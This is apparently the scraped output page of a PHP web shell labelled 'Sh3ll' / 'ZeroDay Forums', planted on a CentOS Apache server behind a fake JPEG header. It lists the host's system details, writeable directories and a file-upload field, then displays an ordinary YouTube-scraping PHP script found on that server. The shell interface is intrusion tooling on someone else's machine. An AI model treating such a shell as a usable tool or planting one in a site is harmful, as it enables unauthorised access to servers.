JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/logs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/logs/y_api.php
<?php
/*
if(trim($_SERVER['REMOTE_ADDR'])!='212.237.42.101'){
    die('No access');
    exit();
}
*/
session_start();
include 'simple_html_dom.php';
function getIdVideo($url) {
    // get video ID from $_GET
    $v='';
    if (!isset($url)) {
        return 'Please enter a YouTube video URL.';
    } else {
        $vid = stripslashes($url);
        $string = $vid;
        $url = parse_url($string);
        parse_str($url['query']);
    }
    return $v;
}
function get_ip_address() {
    // check for shared internet/ISP IP
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        return $_SERVER['HTTP_CLIENT_IP'];
    }
    // check for IPs passing through proxies
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED'])) {
        return $_SERVER['HTTP_X_FORWARDED'];
    }
    if (!empty($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        return $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
    }
    if (!empty($_SERVER['HTTP_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_FORWARDED_FOR'];
    }
    if (!empty($_SERVER['HTTP_FORWARDED'])) {
        return $_SERVER['HTTP_FORWARDED'];
    }
    // return unreliable ip since all else failed
    return $_SERVER['REMOTE_ADDR'];
}
function get_content_page($url,$referer) {
    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: "; // browsers keep this blank.
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    curl_setopt($process, CURLOPT_HEADER, 0);
    curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13');
    //curl_setopt($process, CURLOPT_COOKIEFILE, dirname(__FILE__).'/'.'cookies_youtube.txt');
    //curl_setopt($process, CURLOPT_COOKIEJAR,  dirname(__FILE__).'/'.'cookies_youtube.txt');
    curl_setopt($process, CURLOPT_REFERER, $referer);
    curl_setopt($process, CURLOPT_ENCODING, 'gzip,deflate');
    //curl_setopt($process,CURLOPT_ENCODING , compression);
    curl_setopt($process, CURLOPT_TIMEOUT, 20);
    //if (proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    //curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
}
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
function bodau($str)
{
    $chuCoDau=array("à","á","ạ","ả","ã","â","ầ","ấ","ậ","ẩ","ẫ","ă",
        "ằ","ắ","ặ","ẳ","ẵ","è","é","ẹ","ẻ","ẽ","ê","ề"
    ,"ế","ệ","ể","ễ",
        "ì","í","ị","ỉ","ĩ",
        "ò","ó","ọ","ỏ","õ","ô","ồ","ố","ộ","ổ","ỗ","ơ"
    ,"ờ","ớ","ợ","ở","ỡ",
        "ù","ú","ụ","ủ","ũ","ư","ừ","ứ","ự","ử","ữ",
        "ỳ","ý","ỵ","ỷ","ỹ",
        "đ",
        "À","Á","Ạ","Ả","Ã","Â","Ầ","Ấ","Ậ","Ẩ","Ẫ","Ă"
    ,"Ằ","Ắ","Ặ","Ẳ","Ẵ",
        "È","É","Ẹ","Ẻ","Ẽ","Ê","Ề","Ế","Ệ","Ể","Ễ",
        "Ì","Í","Ị","Ỉ","Ĩ",
        "Ò","Ó","Ọ","Ỏ","Õ","Ô","Ồ","Ố","Ộ","Ổ","Ỗ","Ơ"
    ,"Ờ","Ớ","Ợ","Ở","Ỡ",
        "Ù","Ú","Ụ","Ủ","Ũ","Ư","Ừ","Ứ","Ự","Ử","Ữ",
        "Ỳ","Ý","Ỵ","Ỷ","Ỹ",
        "Đ","?","&",",","/",".","!","@","#","$","%","//",":","\"","\\","'","$","^","(",")","\"","=","_","__","\"","“","”","-"," - ","|","[","]");
    $chuKoDau=array("a","a","a","a","a","a","a","a","a","a","a"
    ,"a","a","a","a","a","a",
        "e","e","e","e","e","e","e","e","e","e","e",
        "i","i","i","i","i",
        "o","o","o","o","o","o","o","o","o","o","o","o"
    ,"o","o","o","o","o",
        "u","u","u","u","u","u","u","u","u","u","u",
        "y","y","y","y","y",
        "d",
        "A","A","A","A","A","A","A","A","A","A","A","A"
    ,"A","A","A","A","A",
        "E","E","E","E","E","E","E","E","E","E","E",
        "I","I","I","I","I",
        "O","O","O","O","O","O","O","O","O","O","O","O"
    ,"O","O","O","O","O",
        "U","U","U","U","U","U","U","U","U","U","U",
        "Y","Y","Y","Y","Y",
        "D","","","","","","","","","","","","","","","","","","","","","","","","","","","",'-','','','');
    $outstr = str_replace($chuCoDau,$chuKoDau,$str);
    $outstr = strtolower(trim($outstr));
    //$outstr = $this->clean_value($outstr);
    return $outstr;
}
function format_string($str2){
    $str = bodau($str2);
    $str = preg_replace('/^[^\p{L}\p{Nd}]+/',' ', $str);
    $str = trim($str);
    $str = preg_replace('/\s+/', ' ', $str);
    $str = preg_replace('/\s+/', '-', $str);
    return empty($str)?str_replace(' ','-',$str2):strtolower($str);
}
function encode_html($input)
{
    $temp = '';
    $length = strlen($input);
    for($i = 0; $i < $length; $i++)
        $temp .= '%' . bin2hex($input[$i]);
    return $temp;
}

$mod= '';
if(isset($_GET['mod'])){
    $mod = $_GET['mod'];

}
switch ($mod){
    case 'detail':
        $id = $_GET['id'];
        $content = get_content_page('https://www.youtube.com/watch?v='.$id,'');
        $html = str_get_html($content);
        $detail['meta_title'] = str_ireplace('YouTube','MovieAndVideo',$html->find('title',0)->plaintext);
        $detail['title'] = trim(str_ireplace('- YouTube','',$html->find('title',0)->plaintext));
        $detail['ftitle'] = format_string($detail['title']);
        $detail['id_you'] = $id;
        $detail['encode'] = bin2hex(str_encode($id, 'ngocgiac'));
        $detail['des'] = strip_tags($html->find('div#watch-description-text p',0)->innertext,'<br><br/><br />');
        $detail['user_name'] = $html->find('div.yt-user-info a',0)->plaintext;
        $detail['fuser_name'] = format_string($detail['user_name']);
        $channel_url = $html->find('div.yt-user-info a',0)->href;
        $arr_channel = explode('/',$channel_url);
        $detail['chanel_id'] = $arr_channel[count($arr_channel)-1];
        $detail['chanel_id'] = bin2hex(str_encode($detail['chanel_id'], 'ngocgiac'));
        $avatar = $html->find('span.yt-thumb-clip',0)->innertext;
        preg_match('#data-thumb="(.*?)"#is',$avatar,$match_avatar);
        $detail['avatar'] = $match_avatar[1];
        $publishes = $html->find('div#watch-uploader-info',0)->plaintext;
        $detail['publishedAt'] = trim(str_replace('Published on','',$publishes));
        $detail['txt_time'] = $detail['publishedAt'];
        $keywords = trim($html->find('meta[name=keywords]',0)->content);
        $detail['keywords'] = $keywords;
        $arr_keywords = explode(',',$keywords);
        $detail['txt_tags'] = '';
        if(!empty($arr_keywords)){
            foreach ($arr_keywords as $val){
                $detail['txt_tags'] .= '<li><a href="http://movieandvideo.net/?act=search&q='.trim($val).'" title="'.trim($val).'">'.trim($val).'</a></li>';
            }
        }
        $detail['player'] = encode_html('<iframe id="player_iframe" src="https://www.youtube.com/embed/'.$id.'?autoplay=1&html5=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=1&widgetid=1" frameborder="0" allowfullscreen></iframe>');
        $i=0;
        foreach($html->find('li.video-list-item') as $val){
            $arr_you_tmp = explode('?v=',$val->find('div.content-wrapper a',0)->href);
            if($arr_you_tmp[1]!='') {
                $detail['related'][$i]['id_you'] = $arr_you_tmp[1];
                $detail['related'][$i]['title'] = $val->find('div.content-wrapper a', 0)->title;
                $detail['related'][$i]['ftitle'] = format_string($val->find('div.content-wrapper a', 0)->title);
                $detail['related'][$i]['id_you_encode'] = bin2hex(str_encode($arr_you_tmp[1], 'ngocgiac'));
                $detail['related'][$i]['img'] = 'http://img.youtube.com/vi/' . $arr_you_tmp[1] . '/mqdefault.jpg';
                $detail['related'][$i]['duration'] = $val->find('span.video-time', 0)->plaintext;
                $i++;
            }
        }

        echo json_encode($detail);
        exit();

        break;
    case 'channel':
        $id = $_GET['id'];
        //$url_about = 'https://www.youtube.com/channel/'.$id.'/about';
        $url_video_list = 'https://www.youtube.com/channel/'.$id.'/videos';
        $content = get_content_page($url_video_list,'');

        $html = str_get_html($content);
        $main_title = trim($html->find('title',0)->plaintext);
        $detail['title'] = trim(str_replace('- YouTube','',$main_title));
        $detail['ftitle'] = format_string($detail['title']);
        $detail['description'] = trim($html->find('meta[itemprop=description]',0)->content);
        $detail['username'] =  $detail['ftitle'];
        $detail['publishedAt'] = date('M d Y');
        $detail['avatar'] = trim($html->find('meta[property=og:image]',0)->content);

        $i=0;
        foreach($html->find('li.channels-content-item') as $val){
            $detail['related'][$i]['title'] = trim($val->find('div.yt-lockup-content a',0)->title);
            $detail['related'][$i]['ftitle'] = format_string($detail['related'][$i]['title']);
            $arr_you_tmp = explode('?v=',$val->find('div.yt-lockup-content a',0)->href);
            $detail['related'][$i]['id_you'] = $arr_you_tmp[1];
            $detail['related'][$i]['id_you_encode'] = bin2hex(str_encode($arr_you_tmp[1], 'ngocgiac'));
            $detail['related'][$i]['img'] = 'http://img.youtube.com/vi/' . $arr_you_tmp[1] . '/mqdefault.jpg';
            $detail['related'][$i]['duration'] = $val->find('span.video-time span',0)->plaintext;
            $i++;
        }
        $detail['videoCount'] = $i;

        echo json_encode($detail);
        exit();
        break;
    case 'search':
        $kw = str_replace(' ','+',trim($_GET['kw']));
        $url = 'https://www.youtube.com/results?sp=EgIQAVAU&search_query='.$kw;
        $content = get_content_page($url,'');
        $html = str_get_html($content);

        foreach($html->find('ol.item-section li div.yt-lockup-content') as $val){
            $list['title'] = trim($val->find('a',0)->title);
            $list['ftitle'] = format_string($list['title']);
            $arr_you_tmp = explode('?v=',$val->find('a',0)->href);
            $list['id_you'] = $arr_you_tmp[1];
            $list['id_you_encode'] = bin2hex(str_encode($arr_you_tmp[1], 'ngocgiac'));
            $list['img'] = 'http://img.youtube.com/vi/' . $arr_you_tmp[1] . '/mqdefault.jpg';
            $list['duration'] = trim(str_replace(array('- Duration:','.'),array('',''),$val->find('span.accessible-description',0)->plaintext));
            if($list['id_you']!='') {
                $arr[] = $list;
            }
        }


        echo json_encode($arr);
        exit();

        break;
    case 'index_youtube':
        if(!isset($_SESSION['country']) or $_SESSION['country']=='') {
            $_SESSION['country'] = geoip_country_code_by_name(get_ip_address());
        }
        $country_name = geoip_country_name_by_name(get_ip_address());
        echo $country_name;
        exit();
        $url = 'https://www.youtube.com/feed/trending?gl='.$_SESSION['country'];

        $memcache = new Memcache;
        $memcache->connect('159.89.200.117', 11211) or die ("Sorry, could not connect memcached! . We're working on getting this fixed as soon as we can.");
        $key_url = md5($url);
        $cache_show_source = $memcache->get($key_url);

        if($cache_show_source){
            $content1 = $cache_show_source;
        }else {
            $content1 = get_content_page($url,'');
            $memcache->set($key_url, $content1, MEMCACHE_COMPRESSED, 3600);

        }
        $html = str_get_html($content1);
        $i = 1;
        if (!empty($html)) {
            foreach ($html->find('li.expanded-shelf-content-item-wrapper') as $val) {
                if ($i <= 30) {
                    $re['title'] = $val->find('h3.yt-lockup-title a', 0)->plaintext;
                    $re['ftitle'] = format_string($re['title']);
                    $re['id_you'] = getIdVideo($val->find('h3.yt-lockup-title a', 0)->href);
                    $re['id_you_encode'] = bin2hex(str_encode($re['id_you'], 'ngocgiac'));
                    $re['img'] = 'https://i.ytimg.com/vi/' . $re['id_you'] . '/mqdefault.jpg';
                    $re['duration'] = $val->find('span.video-time', 0)->plaintext;
                    //$re['hit'] = str_replace(' views', '', $val->find('ul.yt-lockup-meta-info li', 0)->plaintext);
                    $list_re[] = $re;
                }
                $i++;
            }
        }
        print_r($list_re);
        exit();
        break;

}


?>

ZeroDay Forums Mini